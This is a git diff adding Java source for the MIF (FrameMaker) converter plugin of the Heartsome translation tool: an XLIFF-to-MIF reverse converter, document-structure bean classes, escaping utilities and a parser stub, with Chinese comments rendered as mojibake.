public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2MifImpl converter = new Xliff2MifImpl(); + String iniDir = args.get(Converter.ATTR_INIDIR); + String iniFile = iniDir + System.getProperty("file.separator") + "init_mif.xml"; + args.put(Converter.ATTR_INI_FILE, iniFile); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2MifImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2MifImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + // /** The charmap. */ + // private Hashtable charmap; + + /** The catalogue. */ + private String catalogue; + + /** The ini file. */ + private String iniFile; + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + + // skeleton æ–‡ä»¶ç¼–ç  + private String encoding; + + /** + * This method receives a Hashtable that must contain the following data: xliff: String with the name of the + * XLIFF file to convert to MIF backfile: String with the name of the MIF file to generate skeleton: String with + * the name of the skeleton to use at reverse conversion tgtLanguage: String with the language code of the MIF + * file. + * @param monitor + * the monitor + * @param params + * the params + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + catalogue = params.get(Converter.ATTR_CATALOGUE); + iniFile = params.get(Converter.ATTR_INI_FILE); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + // String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + // boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(catalogue, iniFile, xliffFile, sklFile); + + // 把转æ¢è¿‡ç¨‹ä»»åŠ¡åˆ†ä¸ºä¸‰å¤§éƒ¨åˆ† 10 任务,其中加载 xliff æ–‡ä»¶å  3,加载 ini æ–‡ä»¶å  3,替æ¢è¿‡ç¨‹å  4。 + monitor.beginTask(Messages.getString("mif.Xliff2Mif.task1"), 10); + monitor.subTask(Messages.getString("mif.Xliff2Mif.task2")); + infoLogger.startLoadingXliffFile(); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(3); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + monitor.subTask(Messages.getString("mif.Xliff2Mif.task3")); + infoLogger.startLoadingIniFile(); + // loadCharMap(); + infoLogger.endLoadingIniFile(); + monitor.worked(3); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + try { + infoLogger.startReplacingSegmentSymbol(); + cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor = Progress.getSubMonitor(monitor, 4); + replaceMonitor.beginTask(Messages.getString("mif.Xliff2Mif.task4"), cpb.getTotalTask()); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + Pattern pattern = Pattern.compile("(?<=%%%)[0-9]+(?=%%%)"); + while (line != null) { + line = line + "\n"; + Matcher mat = pattern.matcher(line); + if (mat.find()) { + do { + String code = line.substring(mat.start(), mat.end()); + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); + Element source = segment.getChild("source"); + if (line.toLowerCase().indexOf("mtext") != -1) { + if (target != null) { + String tgtStr = commonProcess(target); + if (!"".equals(tgtStr.trim())) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // process target + line = line.replace("%%%" + code + "%%%", tgtStr); + writeString(line, true, code); + } else { + // process source + line = line.replace("%%%" + code + "%%%", commonProcess(source)); + writeString(line, true, code); + } + } else { + // process source + line = line.replace("%%%" + code + "%%%", commonProcess(source)); + writeString(line, true, code); + } + } else { + if (target != null) { + String tgtStr = process(target, code); + if (!"".equals(tgtStr.trim())) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // process target + line = line.replace("%%%" + code + "%%%", tgtStr); + writeString(line, true, code); + } else { + // process source + line = line.replace("%%%" + code + "%%%", process(source, code)); + writeString(line, true, code); + } + } else { + // process source + line = line.replace("%%%" + code + "%%%", process(source, code)); + writeString(line, true, code); + } + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("mif.Xliff2Mif.msg1"), code)); + } + } while (mat.find()); + } else { + // non translatable portion + writeString(line); + } + line = buffer.readLine(); + } + } finally { + replaceMonitor.done(); + } + infoLogger.endReplacingSegmentSymbol(); + output.close(); + + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils + .throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.Xliff2Mif.msg2"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Convert the escape character '\>' '\q' '\Q' '\\' + * @param c + * @return ; + */ + private String cleanString(String s) { + int control = s.indexOf("\\"); + while (control != -1) { + int t = control + 1; + if (t < s.length() - 1 && s.charAt(t) != '>' && s.charAt(t) != '\\' && s.charAt(t) != 'x') { + s = s.substring(0, control) + "\\\\" + s.substring(control + 1); + } + if (control < s.length()) { + control++; + } + control = s.indexOf("\\", control + 1); + } + s = s.replace("`", "\\Q"); + s = s.replace("'", "\\q"); + s = s.replace("\u0009", "\\t"); + return s; + } + + /* + * /** Load char map. + * + * @throws SAXException the SAX exception + * + * @throws IOException Signals that an I/O exception has occurred. + *//* + * private void loadCharMap() throws SAXException, IOException { SAXBuilder cbuilder = new SAXBuilder(); + * Document cdoc = cbuilder.build(iniFile); charmap = new Hashtable(); Element croot = + * cdoc.getRootElement(); List codes = croot.getChildren("char"); //$NON-NLS-1$ Iterator + * it = codes.iterator(); while (it.hasNext()) { Element e = it.next(); charmap.put(e.getText(), + * e.getAttributeValue("code")); //$NON-NLS-1$ e = null; } it = null; codes = null; cdoc = null; cbuilder = + * null; } + */ + + /** + * Process. + * @param e + * the e + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String process(Element e, String segmentSymbolCode) throws IOException { + String result = ""; //$NON-NLS-1$ + List content = e.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.TEXT_NODE: + result += ""; //$NON-NLS-1$ //$NON-NLS-2$ + break; + case Node.ELEMENT_NODE: + Element el = new Element(n); + String r = ""; + if (el.getName().equals("ph")) { //$NON-NLS-1$ + String c = el.getText(); + r = c; + int sos = c.indexOf("%%%"); + while (sos != -1) { + sos += 3; + int eos = c.indexOf("%%%", sos); + String code = c.substring(sos, eos); + eos += 3; + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); + Element source = segment.getChild("source"); + String t = ""; + if (target != null) { + t = commonProcess(target); + if (t.length() == 0) { + t = commonProcess(source); + } + } else { + t = commonProcess(source); + } + r = r.replace("%%%" + code + "%%%", t); + } + sos = c.indexOf("%%%", eos); + } + result += r; //$NON-NLS-1$ + } + break; + default: + break; + } + } + i = null; + content = null; + return result; + } + + private String commonProcess(Element e) throws IOException { + String result = ""; //$NON-NLS-1$ + List content = e.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.TEXT_NODE: + result += cleanString(n.getNodeValue()); + break; + case Node.ELEMENT_NODE: + Element el = new Element(n); + if (el.getName().equals("ph")) { //$NON-NLS-1$ + result += el.getText(); //$NON-NLS-1$ + } + break; + default: + break; + } + } + i = null; + content = null; + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + private void loadSegments() throws SAXException, IOException, ParserConfigurationException { + + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + writeString(string, false, null); + } + + /** + * Write string. + * @param string + * the string + * @param isSegment + * 标识当å‰æ‰€å†™å†…容,ture 标识当å‰æ‰€å†™å†…容为 segment,false 标识当å‰æ‰€å®šå†…容为原骨架文件中的内容。 + * @param replaceCode + * skeleton 文件中的segment 标识符 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string, boolean isSegment, String replaceCode) throws IOException { + byte[] bytes = string.getBytes(encoding); + output.write(bytes); + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + // 在计算已处ç†çš„字节时,需è¦ç”¨ skeleton 文件的æºç¼–ç è¿›è¡Œè§£ç  + if (!isSegment) { + cpb.calculateProcessed(replaceMonitor, string, UTF_8); + } else { + replaceCode = "%%%" + replaceCode + "%%%"; + cpb.calculateProcessed(replaceMonitor, replaceCode, UTF_8); + } + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Frame.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Frame.java new file mode 100644 index 0000000..b4a1907 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Frame.java @@ -0,0 +1,62 @@ +package net.heartsome.cat.converter.mif.bean; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +public class Frame { + private int offset; + private int endOffset; + private String id; + + private List textRects; + + public Frame() { + textRects = new ArrayList(); + } + + /** + * return the TextRect order by vertical position + * @return + */ + public List getTextRects(){ + Collections.sort(textRects, new Comparator() { + + public int compare(TextRect o1, TextRect o2) { + return o1.getvPosition().compareTo(o2.getvPosition()); + } + }); + + return textRects; + } + + public void appendTextRect(TextRect tr) { + this.textRects.add(tr); + } + + public int getOffset() { + return offset; + } + + public void setOffset(int offset) { + this.offset = offset; + } + + public int getEndOffset() { + return endOffset; + } + + public void setEndOffset(int endOffset) { + this.endOffset = endOffset; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Marker.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Marker.java new file mode 100644 index 0000000..56831ed --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Marker.java @@ -0,0 +1,75 @@ +/** + * Marker.java + * + * Version information : + * + * Date:2012-8-15 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.converter.mif.bean; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Marker { + private int offset; + private int endOffset; + + private String content; + + public Marker() { + + } + + public Marker(int offset, int endoffset, String content) { + this.offset = offset; + this.endOffset = endoffset; + this.content = content; + } + + /** @return the offset */ + public int getOffset() { + return offset; + } + + /** + * @param offset + * the offset to set + */ + public void setOffset(int offset) { + this.offset = offset; + } + + /** @return the endOffset */ + public int getEndOffset() { + return endOffset; + } + + /** + * @param endOffset + * the endOffset to set + */ + public void setEndOffset(int endOffset) { + this.endOffset = endOffset; + } + + /** @return the content */ + public String getContent() { + return content; + } + + /** + * @param content + * the content to set + */ + public void setContent(String content) { + this.content = content; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifParseBuffer.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifParseBuffer.java new file mode 100644 index 0000000..a06482e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifParseBuffer.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.converter.mif.bean; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class MifParseBuffer { + /** key:id,value:Frame */ + private Map fms; + /** key:id,value:Table */ + private Map tbls; + private List pages; + /** key:reference id,value:TextFlow */ + private Map tfs; + + private List markers; + + public MifParseBuffer() { + fms = new HashMap(); + tbls = new HashMap(); + pages = new ArrayList(); + tfs = new HashMap(); + markers = new ArrayList(); + } + + public void appendFrame(Frame fm) { + fms.put(fm.getId(), fm); + } + + public void appendTbale(Table tbl) { + tbls.put(tbl.getId(), tbl); + } + + public void appendPage(Page page) { + pages.add(page); + } + + public void appendTextFlow(TextFlow tf) { + tfs.put(tf.getTextRectId(), tf); + } + + public void appendMarker(Marker m){ + markers.add(m); + } + + public Frame getFrame(String id) { + return fms.get(id); + } + + public Table getTable(String id) { + return tbls.get(id); + } + + public List getPages() { + return pages; + } + + public TextFlow getTextFlow(String id) { + return tfs.get(id); + } + + public List getMarkers(){ + return markers; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifReaderBuffer.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifReaderBuffer.java new file mode 100644 index 0000000..8c35570 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/MifReaderBuffer.java @@ -0,0 +1,29 @@ +package net.heartsome.cat.converter.mif.bean; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +public class MifReaderBuffer { + + private List cache; + + public MifReaderBuffer() { + cache = new ArrayList(); + } + + /** + * + * @param obj + * obj[0] must contains the index。 + */ + public void addBuffer(Object[] obj) { + cache.add(obj); + } + + public List getBuffer(Comparator cp) { + Collections.sort(cache, cp); + return cache; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Page.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Page.java new file mode 100644 index 0000000..3fec9c7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Page.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.converter.mif.bean; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +public class Page { + private int offset; + private int endOffset; + private String pageType; + private String pageTag; + + private List textRects; + + public Page(){ + textRects = new ArrayList(); + } + + public boolean validate(){ + if(offset == 0 || endOffset == 0){ + return false; + } + if(pageType == null || pageType.equals("")){ + return false; + } + if(pageTag == null && pageTag.equals("")){ + return false; + } + + return true; + } + + /** + * return the TextRect order by vertical position + * @return + */ + public List getTextRects(){ + Collections.sort(textRects, new Comparator() { + + public int compare(TextRect o1, TextRect o2) { + return o1.getvPosition().compareTo(o2.getvPosition()); + } + }); + + return textRects; + } + + public void appendTextRect(TextRect tr) { + this.textRects.add(tr); + } + + public int getOffset() { + return offset; + } + + public void setOffset(int offset) { + this.offset = offset; + } + + public int getEndOffset() { + return endOffset; + } + + public void setEndOffset(int endOffset) { + this.endOffset = endOffset; + } + + public String getPageType() { + return pageType; + } + + public void setPageType(String pageType) { + this.pageType = pageType; + } + + public String getPageTag() { + return pageTag; + } + + public void setPageTag(String pageTag) { + this.pageTag = pageTag; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Table.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Table.java new file mode 100644 index 0000000..7ee1a71 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/Table.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.converter.mif.bean; + +public class Table { + private String id; + private int offset; + private int endOffset; + + public Table() { + + } + + public boolean validate(){ + if(id == null || id.equals("")){ + return false; + } + if(offset == 0 && endOffset == 0){ + return false; + } + return true; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public int getOffset() { + return offset; + } + + public void setOffset(int offset) { + this.offset = offset; + } + + public int getEndOffset() { + return endOffset; + } + + public void setEndOffset(int endOffset) { + this.endOffset = endOffset; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextFlow.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextFlow.java new file mode 100644 index 0000000..66d5d0c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextFlow.java @@ -0,0 +1,39 @@ +package net.heartsome.cat.converter.mif.bean; + +public class TextFlow { + private String textRectId; + private int offset; + private int endOffset; + + public String getTextRectId() { + return textRectId; + } + + public boolean validate(){ + if(offset == 0 || endOffset == 0){ + return false; + } + return true; + } + + public void setTextRectId(String textRectId) { + this.textRectId = textRectId; + } + + public int getOffset() { + return offset; + } + + public void setOffset(int offset) { + this.offset = offset; + } + + public int getEndOffset() { + return endOffset; + } + + public void setEndOffset(int endOffset) { + this.endOffset = endOffset; + } + +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextRect.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextRect.java new file mode 100644 index 0000000..aba1a28 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/bean/TextRect.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.converter.mif.bean; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +public class TextRect { + private String id; + private String vPosition; + + public boolean validate(){ + if(id == null || id.equals("")){ + return false; + } + if(vPosition == null || vPosition.equals("")){ + return false; + } + return true; + } + + public String getId() { + return id; + } + public void setId(String id) { + this.id = id; + } + public String getvPosition() { + return vPosition; + } + public void setvPosition(String vPosition) { + this.vPosition = vPosition; + } + + public static void main(String[] args){ +// List test = new ArrayList(); +// test.add("0.58527"); +// test.add("1.31806"); +// test.add("0.42088"); +// +// Collections.sort(test); +// +// System.out.println(test); + + List textRects = new ArrayList(); + TextRect t1 = new TextRect(); + t1.setId("1"); + t1.setvPosition("0.58527"); + textRects.add(t1); + t1 = new TextRect(); + t1.setId("2"); + t1.setvPosition("1.31806"); + textRects.add(t1); + t1 = new TextRect(); + t1.setId("3"); + t1.setvPosition("0.42088"); + textRects.add(t1); + + Collections.sort(textRects, new Comparator() { + + public int compare(TextRect o1, TextRect o2) { + String p1 = o1.getvPosition(); + String p2 = o2.getvPosition(); + return p1.compareTo(p2); + } + }); + + for(TextRect t : textRects){ + System.out.print(t.getId()); + System.out.println(t.getvPosition()); + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/MifParseException.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/MifParseException.java new file mode 100644 index 0000000..1506381 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/MifParseException.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.converter.mif.common; + +public class MifParseException extends Exception { + + /** + * + */ + private static final long serialVersionUID = 1L; + + public MifParseException() { + super(); + } + + public MifParseException(String message) { + super("\n"+message); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/ReaderUtil.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/ReaderUtil.java new file mode 100644 index 0000000..036be63 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/ReaderUtil.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.mif.common; + +public class ReaderUtil { + + // /** The charmap. */ + // private Hashtable charmap; + + public ReaderUtil(String iniFile) /* throws SAXException, IOException */{ + // loadCharMap(iniFile); + } + + public String cleanString(String s) { + int control = s.indexOf("&"); + while (control != -1) { + s = s.substring(0, control) + "&" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); + } + + control = s.indexOf("<"); + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); + } + + control = s.indexOf(">"); + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); + } + + s = s.replace("\\q", "'"); + s = s.replace("\\Q", "`"); + s = s.replace("\\\\", "\\"); + + // 以下代ç æ³¨é‡Šï¼Œæ˜¯å› ä¸ºnonstandard ASCIIä¸åšè½¬ä¹‰å¤„ç† + // control = s.indexOf("\\x"); + // while (control != -1) { + // String code = s.substring(control + 2, s.indexOf(" ", control)); + // + // String character = "" + getCharValue(Integer.valueOf(code, 16).intValue()); + // if (!character.equals("")) { + // s = s.substring(0, control) + character + s.substring(1 + s.indexOf(" ", control)); + // } + // control++; + // control = s.indexOf("\\x", control); + // } + + return s; + } + + /** + * This method cleans the text that will be stored inside elements in the XLIFF file *. + * @param line + * the line + * @return the string + */ + public String cleanTag(String line) { + String s = line; + int control = s.indexOf("&"); + while (control != -1) { + s = s.substring(0, control) + "&" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); + } + + control = s.indexOf("<"); + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); + } + + control = s.indexOf(">"); + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); + } + + return s; + } + + /* + * 此部分代ç æ³¨é‡Šï¼Œæ˜¯å› ä¸ºnonstandard ASCIIä¸åšè½¬ä¹‰å¤„ç† /** Load char map. + * + * @throws SAXException the SAX exception + * + * @throws IOException Signals that an I/O exception has occurred. + * + * @throws ParserConfigurationException + *//* + * private void loadCharMap(String iniFile) throws SAXException, IOException { SAXBuilder cbuilder = new + * SAXBuilder(); Document cdoc = cbuilder.build(iniFile); charmap = new Hashtable(); Element + * croot = cdoc.getRootElement(); List codes = croot.getChildren("char"); //$NON-NLS-1$ + * Iterator it = codes.iterator(); while (it.hasNext()) { Element e = it.next(); + * charmap.put(e.getAttributeValue("code"), e.getText()); //$NON-NLS-1$ e = null; } it = null; codes = null; + * cdoc = null; cbuilder = null; } + * + * /** Gets the char value. + * + * @param value the value + * + * @return the char value + *//* + * private char getCharValue(int value) { switch (value) { case 0x04: return '\u0004'; case 0x05: return + * '\u0005'; case 0x08: return '\u0008'; case 0x09: return '\u0009'; case 0x0a: return '\u0010'; case 0x10: + * return '\u0016'; case 0x11: return '\u0017'; case 0x12: return '\u0018'; case 0x13: return '\u0019'; case + * 0x14: return '\u0020'; case 0x15: return '\u0021'; default: break; } if (value > 0x7f) { String key = + * "\\x" + Integer.toHexString(value); //$NON-NLS-1$ if (charmap.containsKey(key)) { String result = + * charmap.get(key); if (result.length() > 0) { return result.charAt(0); } result = null; } key = null; } + * return (char) value; } + */ +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/UnSuportedFileExcetption.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/UnSuportedFileExcetption.java new file mode 100644 index 0000000..ed65f0d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/common/UnSuportedFileExcetption.java @@ -0,0 +1,32 @@ +/** + * UnSuportedFileExcetption.java + * + * Version information : + * + * Date:2012-7-24 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.converter.mif.common; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class UnSuportedFileExcetption extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + public UnSuportedFileExcetption() { + super(); + } + + public UnSuportedFileExcetption(String message) { + super(message); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/ExtractParaline.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/ExtractParaline.java new file mode 100644 index 0000000..c774410 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/ExtractParaline.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.mif.parser; + +import java.io.EOFException; +import java.util.Stack; + +import net.heartsome.cat.converter.mif.common.MifParseException; + +public class ExtractParaline { + char[] doc; + int sos; + int eos; + int tempos; + private EOFException eofExp; + + Stack nameStack = new Stack(); + char ch; + + public ExtractParaline() { + doc = content.toCharArray(); + sos = 0; + eos = doc.length; + + eofExp = new EOFException("end of file"); + } + + public void readParaLine(){ + + } + + public static void main(String[] args){ + + } + + + class MifReader { + + public MifReader() { + } + + /** + * Get next character + * + * @return Return the next character + * @throws MifParseException + * @throws EOFException + */ + final public char getChar() throws MifParseException, EOFException { + if (sos >= eos) { + throw eofExp; + } + char n = doc[sos++]; + if (n < 0) + throw new MifParseException("read error: invalid Character"); + return n; + } + + /** + * Get the next char with ignore all \n,\t,\t and space + * + * @return the next none \n,\t,\t and space character + * @throws EOFException + * @throws MifParseException + */ + final public char getCharAfterIgnore() throws EOFException, MifParseException { + char n; + do { + n = getChar(); + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + n = getChar(); + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + } while (true); + } + + /** + * Skip the specification character + * + * @param ch + * character + * @return if the next character is the specification character ,then + * skip it and return true; if return false ,will do nothing + */ + final public boolean skipChar(char ch) { + if (ch == doc[sos]) { + sos++; + return true; + } else { + return false; + } + } + } + + private String content = +// "\n" + +// " \n" + + " \n" + + " > # end of ParaLine\n" + + " \n" + + " \n" + + " > # end of ParaLine\n" + + " \n" + + " > # end of ParaLine\n" + + " \n" + + " > # end of ParaLine\n" + + " \n" + + " > # end of ParaLine\n" //+ +// "> # end of Para\n"// + + //"\n" + + //" \n" + + //" \n" + + //" \n" + + //" > # end of ParaLine\n" + + //"> # end of Para" + ; +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/MifParser.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/MifParser.java new file 